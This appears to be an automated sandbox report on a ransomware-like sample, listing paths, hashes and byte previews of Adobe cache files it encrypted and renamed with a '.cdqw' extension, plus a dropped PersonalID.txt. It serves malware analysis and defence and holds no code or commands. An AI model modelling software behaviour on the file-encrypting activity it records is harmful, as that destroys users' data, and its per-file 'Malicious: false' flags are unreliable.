File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.1211596417522893
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8wH0hL3kWieF:r2qOB1nxCkvSAELyKOMq+8wH0hLUZs
MD5:	0AB67F0950F46216D5590A6A41A267C7
SHA1:	3E0DD57E2D4141A54B1C42DD8803C2C4FD26CB69
SHA-256:	4AE2FD6D1BEDB54610134C1E58D875AF3589EDA511F439CDCCF230096C1BEB00
SHA-512:	D19D99A54E7C7C85782D166A3010ABB620B32C7CD6C43B783B2F236492621FDD29B93A52C23B1F4EFC9BF998E1EF1DFEE953E78B28DF1B06C24BADAD750E6DF7
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.830183125768361
Encrypted:	false
SSDEEP:	3:CHokcMRfsnrKY3kqy:wowfw5Xy
MD5:	7D6DADE875419F54546504BBF63D1EBC
SHA1:	54F5D5D8E517B6E78FC1E7F90EC2C54A2331C4E3
SHA-256:	3D34E80E2B18F8479A0655A77C51DBB0B91B625DC057888C2876DE7BBC46B21F
SHA-512:	152932ACE9751DD4FF9C1AABD002E8C552461C67355A65E741703E6AE1F206DEAD69ABA2E151E75769A31C44F39488D0D82CCD5A096DADAD86503713F7686F28
Malicious:	false
Preview:	TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	624
Entropy (8bit):	7.638707414956295
Encrypted:	false
SSDEEP:	12:kHv9rP9SKk2Su8SITQPELnbafaCCMbeVyIDZjz6FI3LD8kuoqw1cii9a:eFz9XSu8TQ8L2kRzDk67D8kew1bD
MD5:	AA1024E762634EEED567264C7656DC25
SHA1:	F9F1E04BFAA69736297EA2C730A899FE68703AE7
SHA-256:	856FD82FEA69765018165978F7BE4F230BECA87624822958609A73CB89033E77
SHA-512:	E6653D7F2CE78D8239145AACC01461C4E50D4CF7B03BF04E84DC55C0CE9C2A03088DF956479840BB6E053411FCA3E15E343626692072AA149BA9CBC1394C4946
Malicious:	false
Preview:	2023/..h.:...&......P.Y.n.....(`?.....}!S..t....F.v......."..&...~..g.....b~Mw5.......V....c.Q..~n1....7KCA..d....9..ROSF..>......}1..G.mtF....P...m!..O.B..~..c.Ss!..ZW..d.d..+._...h.0..0..... `......p.M..Qf%.....n..a[..M(...Ka......!B.&..%...;.G.<.V^.8.p......%....U...=...pZ.j5'7.#..._A..^%\..`.\/[1.4...>.(=.~.....F..-.....#.,.x.s...6Q!9..i. ..:.6'...3...?y Y.3.4........$..x0.....]qM.2..X...i.Z7.-..F.U..k%.i,.q._.".....9' ....ULr...ca.]8.._wY..T....\|.z....n.....cW....].g.s(1.d/}.R..&.{......h...Q..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	624
Entropy (8bit):	7.638707414956295
Encrypted:	false
SSDEEP:	12:kHv9rP9SKk2Su8SITQPELnbafaCCMbeVyIDZjz6FI3LD8kuoqw1cii9a:eFz9XSu8TQ8L2kRzDk67D8kew1bD
MD5:	AA1024E762634EEED567264C7656DC25
SHA1:	F9F1E04BFAA69736297EA2C730A899FE68703AE7
SHA-256:	856FD82FEA69765018165978F7BE4F230BECA87624822958609A73CB89033E77
SHA-512:	E6653D7F2CE78D8239145AACC01461C4E50D4CF7B03BF04E84DC55C0CE9C2A03088DF956479840BB6E053411FCA3E15E343626692072AA149BA9CBC1394C4946
Malicious:	false
Preview:	2023/..h.:...&......P.Y.n.....(`?.....}!S..t....F.v......."..&...~..g.....b~Mw5.......V....c.Q..~n1....7KCA..d....9..ROSF..>......}1..G.mtF....P...m!..O.B..~..c.Ss!..ZW..d.d..+._...h.0..0..... `......p.M..Qf%.....n..a[..M(...Ka......!B.&..%...;.G.<.V^.8.p......%....U...=...pZ.j5'7.#..._A..^%\..`.\/[1.4...>.(=.~.....F..-.....#.,.x.s...6Q!9..i. ..:.6'...3...?y Y.3.4........$..x0.....]qM.2..X...i.Z7.-..F.U..k%.i,.q._.".....9' ....ULr...ca.]8.._wY..T....\|.z....n.....cW....].g.s(1.d/}.R..&.{......h...Q..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	668
Entropy (8bit):	7.604495500884374
Encrypted:	false
SSDEEP:	12:k9zV1E7+zFC/7zKGtf87B8WsMUza0FdAs/EmlHts/wNAgsoqw1cii9a:mpS7s2zKYEoM70yuNT8w1bD
MD5:	CECD20FB7D6E6012E82A5D24CACF9179
SHA1:	E2D67C70254FE7B1A39CCB370E1C16B737EA6758
SHA-256:	C4858A71577FF1E6977612B558483768C4DFC1A67EF26C35A1EDE8089FCD8D46
SHA-512:	0ABE649FA22DECA8F962D234F58E7D2344103C285CA7B18AB70AB2CFB09B6FEC613D632DD59E8A53CE0D5D147D8E8F1856476FE952DB3D4178A7BA130A35C400
Malicious:	false
Preview:	2023/.....@..5F....y.]/.;2.1w.W"c.h...W..E.},..7...........2..T.4,.em....5.r^".04..h.,... .......j...q.PU..&.]..O.H..:.'..F......p..J5=....&.. ..)V.0.b,Okn.G.5c....(.z..f&..]'...kf.GX.;"=2.Z......;C.dH. ....0.q;.t.1.h.'x.....+...6....w;.....o......PR...E.g.`..U.:.?0.....m....+W.....-..K...#F..s...O.1..#.eLH.U&.j....s......w...K..3`.Q.......!r.....F....:.d..x.....H...nk..9E.2]....K...0.4%...n9,[e3M.5 ......-..+d.....R.O.K{!..!h.^.D...a....W..g...}.."t...rq.X9Z......km1.[.9y:Cn6%.......)=.....\|....og......3.T.Qfg.......>...^H...r.x..... b..".7.F3CV..P."..<3.S.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	668
Entropy (8bit):	7.604495500884374
Encrypted:	false
SSDEEP:	12:k9zV1E7+zFC/7zKGtf87B8WsMUza0FdAs/EmlHts/wNAgsoqw1cii9a:mpS7s2zKYEoM70yuNT8w1bD
MD5:	CECD20FB7D6E6012E82A5D24CACF9179
SHA1:	E2D67C70254FE7B1A39CCB370E1C16B737EA6758
SHA-256:	C4858A71577FF1E6977612B558483768C4DFC1A67EF26C35A1EDE8089FCD8D46
SHA-512:	0ABE649FA22DECA8F962D234F58E7D2344103C285CA7B18AB70AB2CFB09B6FEC613D632DD59E8A53CE0D5D147D8E8F1856476FE952DB3D4178A7BA130A35C400
Malicious:	false
Preview:	2023/.....@..5F....y.]/.;2.1w.W"c.h...W..E.},..7...........2..T.4,.em....5.r^".04..h.,... .......j...q.PU..&.]..O.H..:.'..F......p..J5=....&.. ..)V.0.b,Okn.G.5c....(.z..f&..]'...kf.GX.;"=2.Z......;C.dH. ....0.q;.t.1.h.'x.....+...6....w;.....o......PR...E.g.`..U.:.?0.....m....+W.....-..K...#F..s...O.1..#.eLH.U&.j....s......w...K..3`.Q.......!r.....F....:.d..x.....H...nk..9E.2]....K...0.4%...n9,[e3M.5 ......-..+d.....R.O.K{!..!h.^.D...a....W..g...}.."t...rq.X9Z......km1.[.9y:Cn6%.......)=.....\|....og......3.T.Qfg.......>...^H...r.x..... b..".7.F3CV..P."..<3.S.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.717842341608368
Encrypted:	false
SSDEEP:	24:YKWaSzNmIDsl9gGuY4STprmKAyBUq0T0F7w1bD:YFgEiXDUq0TY7yD
MD5:	A16A47F21AFF281A73791DDE6129D50C
SHA1:	D74BBE10EBC741809EA138B50060AD24AB459C67
SHA-256:	E315E5FC828610B28099026D774ABA4A3E5EF61B2E3F36ECA07CE97CE4017B44
SHA-512:	30ABFFA2D4E583D214129C23CA0881D5C27D7B506944C1906A5359408D8D5EE8C7D4D25965DA8791E5EBA612178AB0F9A69ECFC20FE1314E57BAA642E30AFA7C
Malicious:	false
Preview:	{"os_....F>.d.P... R.....<......N.`...R....\|.....T..S....YaT.0<..q.5.g.3..E..v....l\|<.A.....Nz[.X..a..'&n.H...lCgA.2n.c..TL.G.Lb".dy.-Z...6....~....tQV..L.....X..&A..Z..j.r......q$.N\58B...U5&].N.j.>4m...E.2X..N...A.U.hsA.....d....qc....5.2.U1.!....O.X.A.[e.....l.{........T..r......4...u]...(.5..H..G2i....u._.......,....,+D..w...l.'.9.=y.k...h.P.@.=.-.@....."R.O{.XU...p..i...j{...IA...M...+O.\|]Q".O.-.X.....$z.....H..3m..ZtB....w......(.Pu.g...1.s.Qv>u/..4.n.)....H.~...+.8E".iI..T....FN.....f0...n..d..tM..j-].......s...F...i.T9.b....`..x._I..Ya..\|.B.f....g`...x..:...g6g?.@.$.../j....[.q..E.....[."j..iN....x.BDS..!.nQ.m..d%.t..^@J@.I.v:.Xg...xt1.R.Y..iz> ..P.......;.1l.[#.T.g.yvx,O..x...XDl.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.717842341608368
Encrypted:	false
SSDEEP:	24:YKWaSzNmIDsl9gGuY4STprmKAyBUq0T0F7w1bD:YFgEiXDUq0TY7yD
MD5:	A16A47F21AFF281A73791DDE6129D50C
SHA1:	D74BBE10EBC741809EA138B50060AD24AB459C67
SHA-256:	E315E5FC828610B28099026D774ABA4A3E5EF61B2E3F36ECA07CE97CE4017B44
SHA-512:	30ABFFA2D4E583D214129C23CA0881D5C27D7B506944C1906A5359408D8D5EE8C7D4D25965DA8791E5EBA612178AB0F9A69ECFC20FE1314E57BAA642E30AFA7C
Malicious:	false
Preview:	{"os_....F>.d.P... R.....<......N.`...R....\|.....T..S....YaT.0<..q.5.g.3..E..v....l\|<.A.....Nz[.X..a..'&n.H...lCgA.2n.c..TL.G.Lb".dy.-Z...6....~....tQV..L.....X..&A..Z..j.r......q$.N\58B...U5&].N.j.>4m...E.2X..N...A.U.hsA.....d....qc....5.2.U1.!....O.X.A.[e.....l.{........T..r......4...u]...(.5..H..G2i....u._.......,....,+D..w...l.'.9.=y.k...h.P.@.=.-.@....."R.O{.XU...p..i...j{...IA...M...+O.\|]Q".O.-.X.....$z.....H..3m..ZtB....w......(.Pu.g...1.s.Qv>u/..4.n.)....H.~...+.8E".iI..T....FN.....f0...n..d..tM..j-].......s...F...i.T9.b....`..x._I..Ya..\|.B.f....g`...x..:...g6g?.@.$.../j....[.q..E.....[."j..iN....x.BDS..!.nQ.m..d%.t..^@J@.I.v:.Xg...xt1.R.Y..iz> ..P.......;.1l.[#.T.g.yvx,O..x...XDl.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.955739248738583
Encrypted:	false
SSDEEP:	96:rnndKoZqWUok3bQkvY6zQYFN1Uj9RyJgmUZ+uMLDS6rVfdG5xa:rnIo6okLQkvjqTyJg7+uMLm6ZU50
MD5:	88C657D81E81B3A515A92FADF6FED493
SHA1:	23AA4284E2DBD8E0CE51D7697DBA43C54A099FE1
SHA-256:	1CC94FADE4E2DFA9DF031A217B7E638BDD26AA74E24A803F6CEE614CCF46C187
SHA-512:	906FCAA605C3A46DCBC40622E16CC542B4E59057A471A5912D098BBDDDAFB653362DD821A260BC53794AE9D20BBDD31D9C226828B8F3E1266BEE7F84FF47940B
Malicious:	false
Preview:	...#f<^.!..$.(<..I7q.Lz~D..=....@.Ne....3nx..E.Vr......9...JW.P...P.T1...b...u...\|o.T...c8....U X!(..Z..Q..x.;.k.E...Cc{...:.F.O[..Y.....`>.i]..v...g.G...O4oA..&....T...=x.E.8.....bU....2...e.....6o.........6_.>..B.[..y...+RV. .b.H.Y...hr..sN..(.L.t...S......!.l.XU8..........W... ..f....9PN4^.K.-...i.[&...x...y.w3A._j~.7.'.P._/...+.v...d.pr.#.`.+...N.......$'...D.WY.}&.p.j.9..%W36Q...{..........p.i..6+.h..H?.Z...a.]..L..O....d.L..C..".[.oZ..D....\......2..u!+.05.&5.....9.............7L.NM.f...C.c.[B...$....t..Ab.......C.1x..].........?.....x.f....6..'.,....o+...e."<..v..k1!.H.'J.A..G}X.......wCU.1...@. ...u..~R....^..X(.".p.....P....n.....s!.Bf!~..c>..Q.M..o\|.n..m+.....~.....m!.....\|..........B.2d.V..g..>..M..B.AE...".?`...$..D.....Q.-?.x.4.....).K....j'.-"....E..Q..2{...mi.....{l.....Z..hw.6.....?q.$EM..3.A....@....1......]T.....H..Y.._.=o...[......N?....."....I..._...}...JN.....&.........n....q.}...d1...~...n.X...,

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.955739248738583
Encrypted:	false
SSDEEP:	96:rnndKoZqWUok3bQkvY6zQYFN1Uj9RyJgmUZ+uMLDS6rVfdG5xa:rnIo6okLQkvjqTyJg7+uMLm6ZU50
MD5:	88C657D81E81B3A515A92FADF6FED493
SHA1:	23AA4284E2DBD8E0CE51D7697DBA43C54A099FE1
SHA-256:	1CC94FADE4E2DFA9DF031A217B7E638BDD26AA74E24A803F6CEE614CCF46C187
SHA-512:	906FCAA605C3A46DCBC40622E16CC542B4E59057A471A5912D098BBDDDAFB653362DD821A260BC53794AE9D20BBDD31D9C226828B8F3E1266BEE7F84FF47940B
Malicious:	false
Preview:	...#f<^.!..$.(<..I7q.Lz~D..=....@.Ne....3nx..E.Vr......9...JW.P...P.T1...b...u...\|o.T...c8....U X!(..Z..Q..x.;.k.E...Cc{...:.F.O[..Y.....`>.i]..v...g.G...O4oA..&....T...=x.E.8.....bU....2...e.....6o.........6_.>..B.[..y...+RV. .b.H.Y...hr..sN..(.L.t...S......!.l.XU8..........W... ..f....9PN4^.K.-...i.[&...x...y.w3A._j~.7.'.P._/...+.v...d.pr.#.`.+...N.......$'...D.WY.}&.p.j.9..%W36Q...{..........p.i..6+.h..H?.Z...a.]..L..O....d.L..C..".[.oZ..D....\......2..u!+.05.&5.....9.............7L.NM.f...C.c.[B...$....t..Ab.......C.1x..].........?.....x.f....6..'.,....o+...e."<..v..k1!.H.'J.A..G}X.......wCU.1...@. ...u..~R....^..X(.".p.....P....n.....s!.Bf!~..c>..Q.M..o\|.n..m+.....~.....m!.....\|..........B.2d.V..g..>..M..B.AE...".?`...$..D.....Q.-?.x.4.....).K....j'.-"....E..Q..2{...mi.....{l.....Z..hw.6.....?q.$EM..3.A....@....1......]T.....H..Y.._.=o...[......N?....."....I..._...}...JN.....&.........n....q.}...d1...~...n.X...,

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	656
Entropy (8bit):	7.609250449928361
Encrypted:	false
SSDEEP:	12:kubNu7N8ZRStutfOJyxbJmwVfMjnQ7WrT6Xk382oqw1cii9a:wNgS0JlVkiWr0hmw1bD
MD5:	FC7B943775A8D0B633C8F575DB71E9BE
SHA1:	64CFFA0F88DAC616C6112FE8BF7ABAF1CEA02E38
SHA-256:	A8CC43606D05711F508825FA6013F9C2AB3616A0A8696200AACAECDF76560784
SHA-512:	D3EE183F36C9D4F1E02DE5B15E4F19EE460918E3F92EC68CD95160E5FF10AEFD431888469351D8C12D5D065F3A42DD88ECD11569BAB382F1097FC5E3526D845F
Malicious:	false
Preview:	2023/P...F_.4E\hB..y.l.^.1B...f\....R&.3..~....VO\|.LN3(%.e.Fe.4...D..@.z...T...Bx./..T..l<..D.{<.a......w].M.g..D. ..&..h.#.........8W.A-.x..S..L...Z.M..s~J.U..=.o........N.}...i.H1.f.i..{F\|.FG-.o.y..~>.'."..... ..Wn.t.J...:..+..y....h. .%1........Y(._k..7.@.@.S.,....N.j!h..jT.+x...H....p....Y....k....6...A..7...=.@f.gdI"...o.n...y....j.d..zW.ZG...~#n...^.....P..@Rm...G0.Z....O.....,q.n....5_..=.X.d=.ea.R.f<@...k..{...k..M......06R...5....aZ....1.....v..S ..}..][..v?\.9..=.@-..i...>...............\..c.....Q.!d<F...^9f?..2l..{.L....L...]..wV!..z...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	656
Entropy (8bit):	7.609250449928361
Encrypted:	false
SSDEEP:	12:kubNu7N8ZRStutfOJyxbJmwVfMjnQ7WrT6Xk382oqw1cii9a:wNgS0JlVkiWr0hmw1bD
MD5:	FC7B943775A8D0B633C8F575DB71E9BE
SHA1:	64CFFA0F88DAC616C6112FE8BF7ABAF1CEA02E38
SHA-256:	A8CC43606D05711F508825FA6013F9C2AB3616A0A8696200AACAECDF76560784
SHA-512:	D3EE183F36C9D4F1E02DE5B15E4F19EE460918E3F92EC68CD95160E5FF10AEFD431888469351D8C12D5D065F3A42DD88ECD11569BAB382F1097FC5E3526D845F
Malicious:	false
Preview:	2023/P...F_.4E\hB..y.l.^.1B...f\....R&.3..~....VO\|.LN3(%.e.Fe.4...D..@.z...T...Bx./..T..l<..D.{<.a......w].M.g..D. ..&..h.#.........8W.A-.x..S..L...Z.M..s~J.U..=.o........N.}...i.H1.f.i..{F\|.FG-.o.y..~>.'."..... ..Wn.t.J...:..+..y....h. .%1........Y(._k..7.@.@.S.,....N.j!h..jT.+x...H....p....Y....k....6...A..7...=.@f.gdI"...o.n...y....j.d..zW.ZG...~#n...^.....P..@Rm...G0.Z....O.....,q.n....5_..=.X.d=.ea.R.f<@...k..{...k..M......06R...5....aZ....1.....v..S ..}..][..v?\.9..=.@-..i...>...............\..c.....Q.!d<F...^9f?..2l..{.L....L...]..wV!..z...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.3756230960277
Encrypted:	false
SSDEEP:	12:p16YdhTvEUA9m0cllf/eOyM3RxmHlems/c6soqw1cii9a:p16uhTvW4fnv3RAHlem5w1bD
MD5:	A6027FB077C2C64261CEF691AF82ABA0
SHA1:	91DAA2C326DC5E799DE8236FBD762E895C8B8052
SHA-256:	CADAC3EE183263CD41E12B3E31A920480F2F85D550D7B9851316B0F32BA9860F
SHA-512:	8E722F8D2F3F6C249BB52735A0D8C3D8DB928DFDE698BDFFEB12419BE8767E6142803DDAF7E2D69C9254BC441E6B70C2B3533C0816BAC3DC5C95809F15A11192
Malicious:	false
Preview:	S.../.P7........[..l....$....=..p..:.....p..W...yp........o..}...He..<./.5Bq..lzp&...9C..;.%\.... .._.\.3...Yq......?chZ..?3...4R.!.LW.!....>_&.... ...:&...Oj:.e.. ....8,.6...~..Y=..o.p....K.A...P.f.&.zI.MAqbVo...:u./Y.......G.+..1^.C.M.[..n..a+....P.D[...S.~..........<\|F.w.i..Nt.\|/..g.\...U..l<V){ TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.3756230960277
Encrypted:	false
SSDEEP:	12:p16YdhTvEUA9m0cllf/eOyM3RxmHlems/c6soqw1cii9a:p16uhTvW4fnv3RAHlem5w1bD
MD5:	A6027FB077C2C64261CEF691AF82ABA0
SHA1:	91DAA2C326DC5E799DE8236FBD762E895C8B8052
SHA-256:	CADAC3EE183263CD41E12B3E31A920480F2F85D550D7B9851316B0F32BA9860F
SHA-512:	8E722F8D2F3F6C249BB52735A0D8C3D8DB928DFDE698BDFFEB12419BE8767E6142803DDAF7E2D69C9254BC441E6B70C2B3533C0816BAC3DC5C95809F15A11192
Malicious:	false
Preview:	S.../.P7........[..l....$....=..p..:.....p..W...yp........o..}...He..<./.5Bq..lzp&...9C..;.%\.... .._.\.3...Yq......?chZ..?3...4R.!.LW.!....>_&.... ...:&...Oj:.e.. ....8,.6...~..Y=..o.p....K.A...P.f.&.zI.MAqbVo...:u./Y.......G.+..1^.C.M.[..n..a+....P.D[...S.~..........<\|F.w.i..Nt.\|/..g.\...U..l<V){ TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	modified
Size (bytes):	460
Entropy (8bit):	7.497696065585091
Encrypted:	false
SSDEEP:	12:Gu+DiZtW6tP4z6n1UJMR2ou3iZ9G3cQYsoqw1cii9a:GDiZMqU6n1UJMe3c+w1bD
MD5:	3F2D630D99A1DFD18D488127F47B56E3
SHA1:	8B310B6DB1069875BDD2CCEC39EC2367B164E8A4
SHA-256:	765373767777EA9E65C4522CDBEAD6A6FA3E91CEE08E06B14A9A23086E4B514F
SHA-512:	25115A87A3054ADF3619117941A358048C2912D6DA91DD044D052E0582CC391297904DC3CFB3F3C60A8AB67D04341E8D2CA69E3CFA77C46D7EE267AA967D7DE8
Malicious:	false
Preview:	.h.6..'....l.Nk.@m.S-%.....3..\G<J..o.o.>...g%...9/.U}.f....5.K.F.S..hK$....`......;$iL...B..../?.....#:..As.._d......j..)...0,h...l..gJ...^...v..9..C......t...8...@d..P....y.i..../.MU..c..#..8j.i...:@.q.....G........\|.....5..j....5R........z. (.-.J..4.N.]...@.....o..p.R.K..=...v.%...S$....qF..fv.z.hH..q.!.d=.q.<...... .."6I.=&...}...xBq...]7....A.;.I:..Eb.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	7.497696065585091
Encrypted:	false
SSDEEP:	12:Gu+DiZtW6tP4z6n1UJMR2ou3iZ9G3cQYsoqw1cii9a:GDiZMqU6n1UJMe3c+w1bD
MD5:	3F2D630D99A1DFD18D488127F47B56E3
SHA1:	8B310B6DB1069875BDD2CCEC39EC2367B164E8A4
SHA-256:	765373767777EA9E65C4522CDBEAD6A6FA3E91CEE08E06B14A9A23086E4B514F
SHA-512:	25115A87A3054ADF3619117941A358048C2912D6DA91DD044D052E0582CC391297904DC3CFB3F3C60A8AB67D04341E8D2CA69E3CFA77C46D7EE267AA967D7DE8
Malicious:	false
Preview:	.h.6..'....l.Nk.@m.S-%.....3..\G<J..o.o.>...g%...9/.U}.f....5.K.F.S..hK$....`......;$iL...B..../?.....#:..As.._d......j..)...0,h...l..gJ...^...v..9..C......t...8...@d..P....y.i..../.MU..c..#..8j.i...:@.q.....G........\|.....5..j....5R........z. (.-.J..4.N.]...@.....o..p.R.K..=...v.%...S$....qF..fv.z.hH..q.!.d=.q.<...... .."6I.=&...}...xBq...]7....A.;.I:..Eb.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 66791 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	66791
Entropy (8bit):	7.995531727155867
Encrypted:	true
SSDEEP:	1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5:	AC05D27423A85ADC1622C714F2CB6184
SHA1:	B0FE2B1ABDDB97837EA0195BE70AB2FF14D43198
SHA-256:	C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
SHA-512:	6D0EF9050E41FBAE680E0E59DD0F90B6AC7FEA5579EF5708B69D5DA33A0ECE7E8B16574B58B17B64A34CC34A4FFC22B4A62C1ECE61F36C4A11A0665E0536B90D
Malicious:	true
Preview:	MSCF............,...................I.................gW.e .authroot.stl..u/1.5..CK..<Tk...p.k:..c.Y:.(Qc...%Y.f_...$..DHn..6i/.]....-!QQ..}f..f...}..1....9.......pN..mI.a.....!...N.....xP.f6..C.'#.c.@GN(3.<3.......9...('3...l.l....B..x..e...UWFU.TT.l.L...._.l1......w.\..Xb.v..Q......pKP.....M`.Y......Op4=.(=P.e...p.(U.....z7MF..O......V2.....#...pj...z.!...wQ...V&.Gz..Nv.4..y(J...A..':.2Q.^u.y..<.1..2..o........H.D.S.....62.\| w(...B.......h.QZ..'....l.<....6..Z...p?... .pT.......l..S..K....FT?.....p..`.&..y..."T=l.n..egf.w..X.Y...G.m....=.}cO.7.....9....o..:.Y=.-.5....ud.J&.]..Q..._<.S....{a.=.n...PT.Um).\| kpyA....h.PXY.>.......^2U...H.....V<\...k..~....H..p...8..'..?...r>.4..!u......1\.`.<.+..n..p..]...).....L.g....#.<..c]R.U."\i.Z.>...`Q..g6....0.......F.........N.s.Z..A........m.^....a_..>v.-.mk...wt.n.:...>S..;....1...j.+m.&S......$.T...i.B=h.n...c.!e.....Y.#..bw.}...d.. ..w... .&..w.9..}k...\...=....{q.Up..y;..7.-.K.'.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	2.9680257958580296
Encrypted:	false
